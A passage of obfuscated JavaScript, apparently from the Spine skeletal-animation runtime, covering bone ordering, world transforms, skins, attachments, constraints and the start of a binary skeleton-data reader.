_0x4a865a = _0x2bf4cd[_0x12cf99++]; for (_0x4a865a += _0x12cf99; _0x12cf99 < _0x4a865a;)this['sortBone'](_0x5bb110[_0x2bf4cd[_0x12cf99++]]); } } else this['sortBone'](_0x592a53); } ['sortBone'](_0x1c9b67) { if (!_0x1c9b67) return; if (_0x1c9b67['sorted']) return; let _0x3baf9a = _0x1c9b67['parent']; _0x3baf9a && this['sortBone'](_0x3baf9a), _0x1c9b67['sorted'] = !0x0, this['_updateCache']['push'](_0x1c9b67); } ['sortReset'](_0x19e1c1) { for (let _0x2e1df3 = 0x0, _0x416381 = _0x19e1c1['length']; _0x2e1df3 < _0x416381; _0x2e1df3++) { let _0x385fef = _0x19e1c1[_0x2e1df3]; _0x385fef['active'] && (_0x385fef['sorted'] && this['sortReset'](_0x385fef['children']), _0x385fef['sorted'] = !0x1); } } ['updateWorldTransform']() { let _0x3f1a25 = this['bones']; for (let _0x40b84a = 0x0, _0x22e415 = _0x3f1a25['length']; _0x40b84a < _0x22e415; _0x40b84a++) { let _0x1a3001 = _0x3f1a25[_0x40b84a]; _0x1a3001['ax'] = _0x1a3001['x'], _0x1a3001['ay'] = _0x1a3001['y'], _0x1a3001['arotation'] = _0x1a3001['rotation'], _0x1a3001['ascaleX'] = _0x1a3001['scaleX'], _0x1a3001['ascaleY'] = _0x1a3001['scaleY'], _0x1a3001['ashearX'] = _0x1a3001['shearX'], _0x1a3001['ashearY'] = _0x1a3001['shearY']; } let _0x60fc1f = this['_updateCache']; for (let _0xb7beb6 = 0x0, _0xf02caf = _0x60fc1f['length']; _0xb7beb6 < _0xf02caf; _0xb7beb6++)_0x60fc1f[_0xb7beb6]['update'](); } ['updateWorldTransformWith'](_0x54b5d4) { let _0x191a01 = this['getRootBone'](); if (!_0x191a01) throw new Error('Root\x20bone\x20must\x20not\x20be\x20null.'); let _0x5eb278 = _0x54b5d4['a'], _0x4b5b3e = _0x54b5d4['b'], _0x344843 = _0x54b5d4['c'], _0x59f65b = _0x54b5d4['d']; _0x191a01['worldX'] = _0x5eb278 * this['x'] + _0x4b5b3e * this['y'] + _0x54b5d4['worldX'], _0x191a01['worldY'] = _0x344843 * this['x'] + _0x59f65b * this['y'] + _0x54b5d4['worldY']; let _0x50fbdb = _0x191a01['rotation'] + 0x5a + _0x191a01['shearY'], _0x43ebe4 = _0x19ba92['cosDeg'](_0x191a01['rotation'] + _0x191a01['shearX']) * _0x191a01['scaleX'], _0x163a6f = _0x19ba92['cosDeg'](_0x50fbdb) * _0x191a01['scaleY'], _0x2be062 = _0x19ba92['sinDeg'](_0x191a01['rotation'] + _0x191a01['shearX']) * _0x191a01['scaleX'], _0x554078 = _0x19ba92['sinDeg'](_0x50fbdb) * _0x191a01['scaleY']; _0x191a01['a'] = (_0x5eb278 * _0x43ebe4 + _0x4b5b3e * _0x2be062) * this['scaleX'], _0x191a01['b'] = (_0x5eb278 * _0x163a6f + _0x4b5b3e * _0x554078) * this['scaleX'], _0x191a01['c'] = (_0x344843 * _0x43ebe4 + _0x59f65b * _0x2be062) * this['scaleY'], _0x191a01['d'] = (_0x344843 * _0x163a6f + _0x59f65b * _0x554078) * this['scaleY']; let _0x52307d = this['_updateCache']; for (let _0x8f89ff = 0x0, _0x5dd279 = _0x52307d['length']; _0x8f89ff < _0x5dd279; _0x8f89ff++) { let _0x3bc865 = _0x52307d[_0x8f89ff]; _0x3bc865 != _0x191a01 && _0x3bc865['update'](); } } ['setToSetupPose']() { this['setBonesToSetupPose'](), this['setSlotsToSetupPose'](); } ['setBonesToSetupPose']() { let _0x2c7d62 = this['bones']; for (let _0x44304e = 0x0, _0x298dd6 = _0x2c7d62['length']; _0x44304e < _0x298dd6; _0x44304e++)_0x2c7d62[_0x44304e]['setToSetupPose'](); let _0x503d1c = this['ikConstraints']; for (let _0x6e85c4 = 0x0, _0x53d561 = _0x503d1c['length']; _0x6e85c4 < _0x53d561; _0x6e85c4++) { let _0x5902b4 = _0x503d1c[_0x6e85c4]; _0x5902b4['mix'] = _0x5902b4['data']['mix'], _0x5902b4['softness'] = _0x5902b4['data']['softness'], _0x5902b4['bendDirection'] = _0x5902b4['data']['bendDirection'], _0x5902b4['compress'] = _0x5902b4['data']['compress'], _0x5902b4['stretch'] = _0x5902b4['data']['stretch']; } let _0x3135ca = this['transformConstraints']; for (let _0x2cc99f = 0x0, _0x15b854 = _0x3135ca['length']; _0x2cc99f < _0x15b854; _0x2cc99f++) { let _0x263521 = _0x3135ca[_0x2cc99f], _0x5b916a = _0x263521['data']; _0x263521['mixRotate'] = _0x5b916a['mixRotate'], _0x263521['mixX'] = _0x5b916a['mixX'], _0x263521['mixY'] = _0x5b916a['mixY'], _0x263521['mixScaleX'] = _0x5b916a['mixScaleX'], _0x263521['mixScaleY'] = _0x5b916a['mixScaleY'], _0x263521['mixShearY'] = _0x5b916a['mixShearY']; } let _0x42bbc6 = this['pathConstraints']; for (let _0x3ca683 = 0x0, _0x59b246 = _0x42bbc6['length']; _0x3ca683 < _0x59b246; _0x3ca683++) { let _0x48ae3b = _0x42bbc6[_0x3ca683], _0x38f498 = _0x48ae3b['data']; _0x48ae3b['position'] = _0x38f498['position'], _0x48ae3b['spacing'] = _0x38f498['spacing'], _0x48ae3b['mixRotate'] = _0x38f498['mixRotate'], _0x48ae3b['mixX'] = _0x38f498['mixX'], _0x48ae3b['mixY'] = _0x38f498['mixY']; } } ['setSlotsToSetupPose']() { let _0x3c0ed4 = this['slots']; _0x5bda80['arrayCopy'](_0x3c0ed4, 0x0, this['drawOrder'], 0x0, _0x3c0ed4['length']); for (let _0x5d709d = 0x0, _0x4a1fc1 = _0x3c0ed4['length']; _0x5d709d < _0x4a1fc1; _0x5d709d++)_0x3c0ed4[_0x5d709d]['setToSetupPose'](); } ['getRootBone']() { return 0x0 == this['bones']['length'] ? null : this['bones'][0x0]; } ['findBone'](_0xeb1e17) { if (!_0xeb1e17) throw new Error('boneName\x20cannot\x20be\x20null.'); let _0xd1b78f = this['bones']; for (let _0x5352cc = 0x0, _0x24b479 = _0xd1b78f['length']; _0x5352cc < _0x24b479; _0x5352cc++) { let _0x5d5d9b = _0xd1b78f[_0x5352cc]; if (_0x5d5d9b['data']['name'] == _0xeb1e17) return _0x5d5d9b; } return null; } ['findSlot'](_0x3dac3) { if (!_0x3dac3) throw new Error('slotName\x20cannot\x20be\x20null.'); let _0x12369e = this['slots']; for (let _0x1689f0 = 0x0, _0x20d778 = _0x12369e['length']; _0x1689f0 < _0x20d778; _0x1689f0++) { let _0x43b23e = _0x12369e[_0x1689f0]; if (_0x43b23e['data']['name'] == _0x3dac3) return _0x43b23e; } return null; } ['setSkinByName'](_0x4a77ce) { let _0x6ef1ac = this['data']['findSkin'](_0x4a77ce); if (!_0x6ef1ac) throw new Error('Skin\x20not\x20found:\x20' + _0x4a77ce); this['setSkin'](_0x6ef1ac); } ['setSkin'](_0x3227bb) { if (_0x3227bb != this['skin']) { if (_0x3227bb) { if (this['skin']) _0x3227bb['attachAll'](this, this['skin']); else { let _0x19e45e = this['slots']; for (let _0x553d5f = 0x0, _0x577d4c = _0x19e45e['length']; _0x553d5f < _0x577d4c; _0x553d5f++) { let _0x5d266e = _0x19e45e[_0x553d5f], _0x4c2efb = _0x5d266e['data']['attachmentName']; if (_0x4c2efb) { let _0x95d40d = _0x3227bb['getAttachment'](_0x553d5f, _0x4c2efb); _0x95d40d && _0x5d266e['setAttachment'](_0x95d40d); } } } } this['skin'] = _0x3227bb, this['updateCache'](); } } ['getAttachmentByName'](_0x4a9ad9, _0x2829ed) { let _0x5e7435 = this['data']['findSlot'](_0x4a9ad9); if (!_0x5e7435) throw new Error('Can\x27t\x20find\x20slot\x20with\x20name\x20' + _0x4a9ad9); return this['getAttachment'](_0x5e7435['index'], _0x2829ed); } ['getAttachment'](_0x237de1, _0xc87de1) { if (!_0xc87de1) throw new Error('attachmentName\x20cannot\x20be\x20null.'); if (this['skin']) { let _0x5a3938 = this['skin']['getAttachment'](_0x237de1, _0xc87de1); if (_0x5a3938) return _0x5a3938; } return this['data']['defaultSkin'] ? this['data']['defaultSkin']['getAttachment'](_0x237de1, _0xc87de1) : null; } ['setAttachment'](_0x29d20c, _0x7806a6) { if (!_0x29d20c) throw new Error('slotName\x20cannot\x20be\x20null.'); let _0x5e574f = this['slots']; for (let _0x13bd80 = 0x0, _0x12d33f = _0x5e574f['length']; _0x13bd80 < _0x12d33f; _0x13bd80++) { let _0x542411 = _0x5e574f[_0x13bd80]; if (_0x542411['data']['name'] == _0x29d20c) { let _0x2d5ec0 = null; if (_0x7806a6 && (_0x2d5ec0 = this['getAttachment'](_0x13bd80, _0x7806a6), !_0x2d5ec0)) throw new Error('Attachment\x20not\x20found:\x20' + _0x7806a6 + ',\x20for\x20slot:\x20' + _0x29d20c); return void _0x542411['setAttachment'](_0x2d5ec0); } } throw new Error('Slot\x20not\x20found:\x20' + _0x29d20c); } ['findIkConstraint'](_0x488dd5) { if (!_0x488dd5) throw new Error('constraintName\x20cannot\x20be\x20null.'); let _0x421f83 = this['ikConstraints']; for (let _0x3e1d8e = 0x0, _0x2cae4a = _0x421f83['length']; _0x3e1d8e < _0x2cae4a; _0x3e1d8e++) { let _0x5ac1d9 = _0x421f83[_0x3e1d8e]; if (_0x5ac1d9['data']['name'] == _0x488dd5) return _0x5ac1d9; } return null; } ['findTransformConstraint'](_0x508576) { if (!_0x508576) throw new Error('constraintName\x20cannot\x20be\x20null.'); let _0x27efe1 = this['transformConstraints']; for (let _0x4ca839 = 0x0, _0x24d3e3 = _0x27efe1['length']; _0x4ca839 < _0x24d3e3; _0x4ca839++) { let _0x9cce75 = _0x27efe1[_0x4ca839]; if (_0x9cce75['data']['name'] == _0x508576) return _0x9cce75; } return null; } ['findPathConstraint'](_0x169d91) { if (!_0x169d91) throw new Error('constraintName\x20cannot\x20be\x20null.'); let _0xe0c350 = this['pathConstraints']; for (let _0x239755 = 0x0, _0x486499 = _0xe0c350['length']; _0x239755 < _0x486499; _0x239755++) { let _0xfb3733 = _0xe0c350[_0x239755]; if (_0xfb3733['data']['name'] == _0x169d91) return _0xfb3733; } return null; } ['getBoundsRect']() { let _0x2349b8 = new _0x6ada3(), _0x506cd7 = new _0x6ada3(); return this['getBounds'](_0x2349b8, _0x506cd7), { 'x': _0x2349b8['x'], 'y': _0x2349b8['y'], 'width': _0x506cd7['x'], 'height': _0x506cd7['y'] }; } ['getBounds'](_0x215de5, _0x12e505, _0x1fee40 = new Array(0x2)) { if (!_0x215de5) throw new Error('offset\x20cannot\x20be\x20null.'); if (!_0x12e505) throw new Error('size\x20cannot\x20be\x20null.'); let _0x4b34c0 = this['drawOrder'], _0x41fda3 = Number['POSITIVE_INFINITY'], _0x179fe8 = Number['POSITIVE_INFINITY'], _0x220f89 = Number['NEGATIVE_INFINITY'], _0x1943c1 = Number['NEGATIVE_INFINITY']; for (let _0x298d81 = 0x0, _0x466cd1 = _0x4b34c0['length']; _0x298d81 < _0x466cd1; _0x298d81++) { let _0xa1d1f3 = _0x4b34c0[_0x298d81]; if (!_0xa1d1f3['bone']['active']) continue; let _0x3a368a = 0x0, _0x3e6b01 = null, _0x2293a8 = _0xa1d1f3['getAttachment'](); if (_0x2293a8 instanceof _0x2c3c3c) _0x3a368a = 0x8, _0x3e6b01 = _0x5bda80['setArraySize'](_0x1fee40, _0x3a368a, 0x0), _0x2293a8['computeWorldVertices'](_0xa1d1f3, _0x3e6b01, 0x0, 0x2); else { if (_0x2293a8 instanceof _0x14aa55) { let _0x2aa177 = _0x2293a8; _0x3a368a = _0x2aa177['worldVerticesLength'], _0x3e6b01 = _0x5bda80['setArraySize'](_0x1fee40, _0x3a368a, 0x0), _0x2aa177['computeWorldVertices'](_0xa1d1f3, 0x0, _0x3a368a, _0x3e6b01, 0x0, 0x2); } } if (_0x3e6b01) for (let _0x1e3780 = 0x0, _0x35e880 = _0x3e6b01['length']; _0x1e3780 < _0x35e880; _0x1e3780 += 0x2) { let _0xe57b8c = _0x3e6b01[_0x1e3780], _0x396f9c = _0x3e6b01[_0x1e3780 + 0x1]; _0x41fda3 = Math['min'](_0x41fda3, _0xe57b8c), _0x179fe8 = Math['min'](_0x179fe8, _0x396f9c), _0x220f89 = Math['max'](_0x220f89, _0xe57b8c), _0x1943c1 = Math['max'](_0x1943c1, _0x396f9c); } } _0x215de5['set'](_0x41fda3, _0x179fe8), _0x12e505['set'](_0x220f89 - _0x41fda3, _0x1943c1 - _0x179fe8); } }, _0x18f88e = _0x225915; _0x18f88e['yDown'] = !0x1; var _0x13d71a = class { constructor() { this['name'] = null, this['bones'] = new Array(), this['slots'] = new Array(), this['skins'] = new Array(), this['defaultSkin'] = null, this['events'] = new Array(), this['animations'] = new Array(), this['ikConstraints'] = new Array(), this['transformConstraints'] = new Array(), this['pathConstraints'] = new Array(), this['x'] = 0x0, this['y'] = 0x0, this['width'] = 0x0, this['height'] = 0x0, this['version'] = null, this['hash'] = null, this['fps'] = 0x0, this['imagesPath'] = null, this['audioPath'] = null; } ['findBone'](_0x1792c6) { if (!_0x1792c6) throw new Error('boneName\x20cannot\x20be\x20null.'); let _0x554de7 = this['bones']; for (let _0x526411 = 0x0, _0x4da94e = _0x554de7['length']; _0x526411 < _0x4da94e; _0x526411++) { let _0x3f61ba = _0x554de7[_0x526411]; if (_0x3f61ba['name'] == _0x1792c6) return _0x3f61ba; } return null; } ['findSlot'](_0x176294) { if (!_0x176294) throw new Error('slotName\x20cannot\x20be\x20null.'); let _0x597502 = this['slots']; for (let _0xd26d64 = 0x0, _0x58848c = _0x597502['length']; _0xd26d64 < _0x58848c; _0xd26d64++) { let _0x2e9aec = _0x597502[_0xd26d64]; if (_0x2e9aec['name'] == _0x176294) return _0x2e9aec; } return null; } ['findSkin'](_0x4485a9) { if (!_0x4485a9) throw new Error('skinName\x20cannot\x20be\x20null.'); let _0x571449 = this['skins']; for (let _0x1bba45 = 0x0, _0x34bd4c = _0x571449['length']; _0x1bba45 < _0x34bd4c; _0x1bba45++) { let _0x59e30f = _0x571449[_0x1bba45]; if (_0x59e30f['name'] == _0x4485a9) return _0x59e30f; } return null; } ['findEvent'](_0x4710c9) { if (!_0x4710c9) throw new Error('eventDataName\x20cannot\x20be\x20null.'); let _0x5758f0 = this['events']; for (let _0x38d2ad = 0x0, _0x5cb65d = _0x5758f0['length']; _0x38d2ad < _0x5cb65d; _0x38d2ad++) { let _0x4f21ea = _0x5758f0[_0x38d2ad]; if (_0x4f21ea['name'] == _0x4710c9) return _0x4f21ea; } return null; } ['findAnimation'](_0x596071) { if (!_0x596071) throw new Error('animationName\x20cannot\x20be\x20null.'); let _0x35f9c9 = this['animations']; for (let _0x2b391b = 0x0, _0x4b3cf6 = _0x35f9c9['length']; _0x2b391b < _0x4b3cf6; _0x2b391b++) { let _0x37608a = _0x35f9c9[_0x2b391b]; if (_0x37608a['name'] == _0x596071) return _0x37608a; } return null; } ['findIkConstraint'](_0xe68b2e) { if (!_0xe68b2e) throw new Error('constraintName\x20cannot\x20be\x20null.'); let _0x1c2c6c = this['ikConstraints']; for (let _0x2e3e22 = 0x0, _0x45a9dc = _0x1c2c6c['length']; _0x2e3e22 < _0x45a9dc; _0x2e3e22++) { let _0x491044 = _0x1c2c6c[_0x2e3e22]; if (_0x491044['name'] == _0xe68b2e) return _0x491044; } return null; } ['findTransformConstraint'](_0x221c03) { if (!_0x221c03) throw new Error('constraintName\x20cannot\x20be\x20null.'); let _0x2015b0 = this['transformConstraints']; for (let _0x10f48d = 0x0, _0x138fbf = _0x2015b0['length']; _0x10f48d < _0x138fbf; _0x10f48d++) { let _0x2a1338 = _0x2015b0[_0x10f48d]; if (_0x2a1338['name'] == _0x221c03) return _0x2a1338; } return null; } ['findPathConstraint'](_0x50e5f3) { if (!_0x50e5f3) throw new Error('constraintName\x20cannot\x20be\x20null.'); let _0x48ae6d = this['pathConstraints']; for (let _0xed6acb = 0x0, _0x181313 = _0x48ae6d['length']; _0xed6acb < _0x181313; _0xed6acb++) { let _0x16d738 = _0x48ae6d[_0xed6acb]; if (_0x16d738['name'] == _0x50e5f3) return _0x16d738; } return null; } }, _0x2e6b24 = class { constructor(_0x180db8 = 0x0, _0x351277, _0x254dd4) { this['slotIndex'] = _0x180db8, this['name'] = _0x351277, this['attachment'] = _0x254dd4; } }, _0x44f177 = class { constructor(_0x2ac2c4) { if (this['attachments'] = new Array(), this['bones'] = Array(), this['constraints'] = new Array(), !_0x2ac2c4) throw new Error('name\x20cannot\x20be\x20null.'); this['name'] = _0x2ac2c4; } ['setAttachment'](_0x24ae77, _0x44dcda, _0x2cb205) { if (!_0x2cb205) throw new Error('attachment\x20cannot\x20be\x20null.'); let _0x413b52 = this['attachments']; _0x24ae77 >= _0x413b52['length'] && (_0x413b52['length'] = _0x24ae77 + 0x1), _0x413b52[_0x24ae77] || (_0x413b52[_0x24ae77] = {}), _0x413b52[_0x24ae77][_0x44dcda] = _0x2cb205; } ['addSkin'](_0xa914cb) { for (let _0x43c0eb = 0x0; _0x43c0eb < _0xa914cb['bones']['length']; _0x43c0eb++) { let _0x1f3b55 = _0xa914cb['bones'][_0x43c0eb], _0x4063b1 = !0x1; for (let _0x149565 = 0x0; _0x149565 < this['bones']['length']; _0x149565++)if (this['bones'][_0x149565] == _0x1f3b55) { _0x4063b1 = !0x0; break; } _0x4063b1 || this['bones']['push'](_0x1f3b55); } for (let _0x11fd55 = 0x0; _0x11fd55 < _0xa914cb['constraints']['length']; _0x11fd55++) { let _0x5610e4 = _0xa914cb['constraints'][_0x11fd55], _0x512633 = !0x1; for (let _0x301d04 = 0x0; _0x301d04 < this['constraints']['length']; _0x301d04++)if (this['constraints'][_0x301d04] == _0x5610e4) { _0x512633 = !0x0; break; } _0x512633 || this['constraints']['push'](_0x5610e4); } let _0x19e895 = _0xa914cb['getAttachments'](); for (let _0x377511 = 0x0; _0x377511 < _0x19e895['length']; _0x377511++) { var _0xfb879 = _0x19e895[_0x377511]; this['setAttachment'](_0xfb879['slotIndex'], _0xfb879['name'], _0xfb879['attachment']); } } ['copySkin'](_0x3d6e02) { for (let _0x4755ac = 0x0; _0x4755ac < _0x3d6e02['bones']['length']; _0x4755ac++) { let _0x3878ad = _0x3d6e02['bones'][_0x4755ac], _0x201fb9 = !0x1; for (let _0x15e425 = 0x0; _0x15e425 < this['bones']['length']; _0x15e425++)if (this['bones'][_0x15e425] == _0x3878ad) { _0x201fb9 = !0x0; break; } _0x201fb9 || this['bones']['push'](_0x3878ad); } for (let _0x5da319 = 0x0; _0x5da319 < _0x3d6e02['constraints']['length']; _0x5da319++) { let _0x451422 = _0x3d6e02['constraints'][_0x5da319], _0x408a9c = !0x1; for (let _0x11fdc1 = 0x0; _0x11fdc1 < this['constraints']['length']; _0x11fdc1++)if (this['constraints'][_0x11fdc1] == _0x451422) { _0x408a9c = !0x0; break; } _0x408a9c || this['constraints']['push'](_0x451422); } let _0x5eee2d = _0x3d6e02['getAttachments'](); for (let _0x3f49ec = 0x0; _0x3f49ec < _0x5eee2d['length']; _0x3f49ec++) { var _0x3fc022 = _0x5eee2d[_0x3f49ec]; _0x3fc022['attachment'] && (_0x3fc022['attachment'] instanceof _0x14aa55 ? (_0x3fc022['attachment'] = _0x3fc022['attachment']['newLinkedMesh'](), this['setAttachment'](_0x3fc022['slotIndex'], _0x3fc022['name'], _0x3fc022['attachment'])) : (_0x3fc022['attachment'] = _0x3fc022['attachment']['copy'](), this['setAttachment'](_0x3fc022['slotIndex'], _0x3fc022['name'], _0x3fc022['attachment']))); } } ['getAttachment'](_0x4c2a24, _0x275cca) { let _0xd4f6a = this['attachments'][_0x4c2a24]; return _0xd4f6a ? _0xd4f6a[_0x275cca] : null; } ['removeAttachment'](_0x179e7e, _0x7dc6f6) { let _0x32ac7d = this['attachments'][_0x179e7e]; _0x32ac7d && delete _0x32ac7d[_0x7dc6f6]; } ['getAttachments']() { let _0x32edaa = new Array(); for (var _0xe9f8a5 = 0x0; _0xe9f8a5 < this['attachments']['length']; _0xe9f8a5++) { let _0x4f5706 = this['attachments'][_0xe9f8a5]; if (_0x4f5706) for (let _0x211ae1 in _0x4f5706) { let _0x32536f = _0x4f5706[_0x211ae1]; _0x32536f && _0x32edaa['push'](new _0x2e6b24(_0xe9f8a5, _0x211ae1, _0x32536f)); } } return _0x32edaa; } ['getAttachmentsForSlot'](_0x1ad19a, _0x26d117) { let _0x3f6f15 = this['attachments'][_0x1ad19a]; if (_0x3f6f15) for (let _0x422745 in _0x3f6f15) { let _0x4eaba4 = _0x3f6f15[_0x422745]; _0x4eaba4 && _0x26d117['push'](new _0x2e6b24(_0x1ad19a, _0x422745, _0x4eaba4)); } } ['clear']() { this['attachments']['length'] = 0x0, this['bones']['length'] = 0x0, this['constraints']['length'] = 0x0; } ['attachAll'](_0x5aa004, _0x185ca7) { let _0x532a34 = 0x0; for (let _0x390594 = 0x0; _0x390594 < _0x5aa004['slots']['length']; _0x390594++) { let _0x1cf57c = _0x5aa004['slots'][_0x390594], _0x583546 = _0x1cf57c['getAttachment'](); if (_0x583546 && _0x532a34 < _0x185ca7['attachments']['length']) { let _0x3ce326 = _0x185ca7['attachments'][_0x532a34]; for (let _0x52f2f1 in _0x3ce326) { if (_0x583546 == _0x3ce326[_0x52f2f1]) { let _0x1ea61d = this['getAttachment'](_0x532a34, _0x52f2f1); _0x1ea61d && _0x1cf57c['setAttachment'](_0x1ea61d); break; } } } _0x532a34++; } } }, _0x3862fc = class { constructor(_0xcec6d9, _0xcc066, _0x40279b) { if (this['index'] = 0x0, this['color'] = new _0x1acaf1(0x1, 0x1, 0x1, 0x1), this['darkColor'] = null, this['attachmentName'] = null, this['blendMode'] = _0x1e334b['Normal'], _0xcec6d9 < 0x0) throw new Error('index\x20must\x20be\x20>=\x200.'); if (!_0xcc066) throw new Error('name\x20cannot\x20be\x20null.'); if (!_0x40279b) throw new Error('boneData\x20cannot\x20be\x20null.'); this['index'] = _0xcec6d9, this['name'] = _0xcc066, this['boneData'] = _0x40279b; } }, _0x1e334b = (_0x370c95 => (_0x370c95[_0x370c95['Normal'] = 0x0] = 'Normal', _0x370c95[_0x370c95['Additive'] = 0x1] = 'Additive', _0x370c95[_0x370c95['Multiply'] = 0x2] = 'Multiply', _0x370c95[_0x370c95['Screen'] = 0x3] = 'Screen', _0x370c95))(_0x1e334b || {}), _0x3d5169 = class extends _0x13597a { constructor(_0x29ca68) { super(_0x29ca68, 0x0, !0x1), this['bones'] = new Array(), this['_target'] = null, this['mixRotate'] = 0x0, this['mixX'] = 0x0, this['mixY'] = 0x0, this['mixScaleX'] = 0x0, this['mixScaleY'] = 0x0, this['mixShearY'] = 0x0, this['offsetRotation'] = 0x0, this['offsetX'] = 0x0, this['offsetY'] = 0x0, this['offsetScaleX'] = 0x0, this['offsetScaleY'] = 0x0, this['offsetShearY'] = 0x0, this['relative'] = !0x1, this['local'] = !0x1; } set ['target'](_0x1da3eb) { this['_target'] = _0x1da3eb; } get ['target']() { if (this['_target']) return this['_target']; throw new Error('BoneData\x20not\x20set.'); } }, _0x308a98 = class { constructor(_0xc8ad9e) { this['scale'] = 0x1, this['linkedMeshes'] = new Array(), this['attachmentLoader'] = _0xc8ad9e; } ['readSkeletonData'](_0x4493b9) { let _0x5ed0e6 = this['scale'], _0x22a4d3 = new _0x13d71a(); _0x22a4d3['name'] = ''; let _0x46cfe5 = new _0xfc5ff5(_0x4493b9), _0x2240f2 = _0x46cfe5['readInt32'](), _0x465a05 = _0x46cfe5['readInt32'](); _0x22a4d3['hash'] = 0x0 == _0x465a05 && 0x0 == _0x2240f2 ? null : _0x465a05['toString'](0x10) + _0x2240f2['toString'](0x10), _0x22a4d3['version'] = _0x46cfe5['readString'](), _0x22a4d3['x'] = _0x46cfe5['readFloat'](), _0x22a4d3['y'] = _0x46cfe5['readFloat'](), _0x22a4d3['width'] = _0x46cfe5['readFloat'](), _0x22a4d3['height'] = _0x46cfe5['readFloat'](); let _0x1190d8 = _0x46cfe5['readBoolean'](); _0x1190d8 && (_0x22a4d3['fps'] = _0x46cfe5['readFloat'](), _0x22a4d3['imagesPath'] = _0x46cfe5['readString'](), _0x22a4d3['audioPath'] = _0x46cfe5['readString']()); let _0x38bea2 = 0x0; _0x38bea2 = _0x46cfe5['readInt'](!0x0); for (let _0x3292ed = 0x0; _0x3292ed < _0x38bea2; _0x3292ed++) { let _0x45e89c = _0x46cfe5['readString'](); if (!_0x45e89c) throw new Error('String\x20in\x20string\x20table\x20must\x20not\x20be\x20null.'); _0x46cfe5['strings']['push'](_0x45e89c); } _0x38bea2 = _0x46cfe5['readInt'](!0x0); for (let _0x2ce06c = 0x0; _0x2ce06c < _0x38bea2; _0x2ce06c++) { let _0x50f82b = _0x46cfe5['readString'](); if (!_0x50f82b) throw new Error('Bone\x20name\x20must\x20not\x20be\x20null.'); let _0x14cb9e = 0x0 == _0x2ce06c ? null : _0x22a4d3['bones'][_0x46cfe5['readInt'](!0x0)], _0x1d9af6 = new _0x4a09a6(_0x2ce06c, _0x50f82b, _0x14cb9e); _0x1d9af6['rotation'] = _0x46cfe5['readFloat'](), _0x1d9af6['x'] = _0x46cfe5['readFloat']() * _0x5ed0e6, _0x1d9af6['y'] = _0x46cfe5['readFloat']() * _0x5ed0e6, _0x1d9af6['scaleX'] = _0x46cfe5['readFloat'](), _0x1d9af6['scaleY'] = _0x46cfe5['readFloat'](), _0x1d9af6['shearX'] = _0x46cfe5['readFloat'](), _0x1d9af6['shearY'] = _0x46cfe5['readFloat'](), _0x1d9af6['length'] = _0x46cfe5['readFloat']() * _0x5ed0e6, _0x1d9af6['transformMode'] = _0x46cfe5['readInt'](!0x0), _0x1d9af6['skinRequired'] = _0x46cfe5['readBoolean'](), _0x1190d8 && _0x1acaf1['rgba8888ToColor'](_0x1d9af6['color'], _0x46cfe5['readInt32']()), _0x22a4d3['bones']['push'](_0x1d9af6); } _0x38bea2 = _0x46cfe5['readInt'](!0x0); for (let _0x42e2ab = 0x0; _0x42e2ab < _0x38bea2; _0x42e2ab++) { let _0x1730eb = _0x46cfe5['readString'](); if (!_0x1730eb) throw new Error('Slot\x20name\x20must\x20not\x20be\x20null.'); let _0x41e885 = _0x22a4d3['bones'][_0x46cfe5['readInt'](!0x0)], _0x1f312f = new _0x3862fc(_0x42e2ab, _0x1730eb, _0x41e885); _0x1acaf1['rgba8888ToColor'](_0x1f312f['color'], _0x46cfe5['readInt32']()); let _0x12be3d = _0x46cfe5['readInt32'](); -0x1 != _0x12be3d && _0x1acaf1['rgb888ToColor'](_0x1f312f['darkColor'] = new _0x1acaf1(), _0x12be3d), _0x1f312f['attachmentName'] = _0x46cfe5['readStringRef'](), _0x1f312f['blendMode'] = _0x46cfe5['readInt'](!0x0), _0x22a4d3['slots']['push'](_0x1f312f); } _0x38bea2 = _0x46cfe5['readInt'](!0x0); for (let _0x5c32e4, _0x3797cb = 0x0; _0x3797cb < _0x38bea2; _0x3797cb++) { let _0x3e3f93 = _0x46cfe5['readString'](); if (!_0x3e3f93) throw new Error('IK\x20constraint\x20data\x20name\x20must\x20not\x20be\x20null.'); let _0x5d733c = new _0x1ba0c8(_0x3e3f93); _0x5d733c['order'] = _0x46cfe5['readInt'](!0x0), _0x5d733c['skinRequired'] = _0x46cfe5['readBoolean'](), _0x5c32e4 = _0x46cfe5['readInt'](!0x0); for (let _0x4f7d8e = 0x0; _0x4f7d8e < _0x5c32e4; _0x4f7d8e++)_0x5d733c['bones']['push'](_0x22a4d3['bones'][_0x46cfe5['readInt'](!0x0)]); _0x5d733c['target'] = _0x22a4d3['bones'][_0x46cfe5['readInt'](!0x0)], _0x5d733c['mix'] = _0x46cfe5['readFloat'](), _0x5d733c['softness'] = _0x46cfe5['readFloat']() * _0x5ed0e6, _0x5d733c['bendDirection'] = _0x46cfe5['readByte'](), _0x5d733c['compress'] = _0x46cfe5['readBoolean'](), _0x5d733c['stretch'] = _0x46cfe5['readBoolean'](), _0x5d733c['uniform'] = _0x46cfe5['readBoolean'](), _0x22a4d3['ikConstraints']['push'](_0x5d733c); } _0x38bea2 = _0x46cfe5['readInt'](!0x0); for (let _0x5eaeb3, _0x198fc2 = 0x0; _0x198fc2 < _0x38bea2; _0x198fc2++) { let _0x4cc22a = _0x46cfe5['readString'](); if (!_0x4cc22a) throw new Error('Transform\x20constraint\x20data\x20name\x20must\x20not\x20be\x20null.'); let _0x3f344f = new _0x3d5169(_0x4cc22a); _0x3f344f['order'] = _0x46cfe5['readInt'](!0x0), _0x3f344f['skinRequired'] = _0x46cfe5['readBoolean'](), _0x5eaeb3 = _0x46cfe5['readInt'](!0x0); for (let _0x2f6cb8 = 0x0; _0x2f6cb8 < _0x5eaeb3; _0x2f6cb8++)_0x3f344f['bones']['push'](_0x22a4d3['bones'][_0x46cfe5['readInt'](!0x0)]); _0x3f344f['target'] = _0x22a4d3['bones'][_0x46cfe5['readInt'](!0x0)], _0x3f344f['local'] = _0x46cfe5['readBoolean'](), _0x3f344f['relative'] = _0x46cfe5['readBoolean'](), _0x3f344f['offsetRotation'] = _0x46cfe5['readFloat'](), _0x3f344f['offsetX'] = _0x46cfe5['readFloat']() * _0x5ed0e6, _0x3f344f['offsetY'] = _0x46cfe5['readFloat']() * _0x5ed0e6, _0x3f344f['offsetScaleX'] = _0x46cfe5['readFloat'](), _0x3f344f['offsetScaleY'] = _0x46cfe5['readFloat'](), _0x3f344f['offsetShearY'] = _0x46cfe5['readFloat'](), _0x3f344f['mixRotate'] = _0x46cfe5['readFloat'](), _0x3f344f['mixX'] = _0x46cfe5['readFloat'](), _0x3f344f['mixY'] = _0x46cfe5['readFloat'](), _0x3f344f['mixScaleX'] = 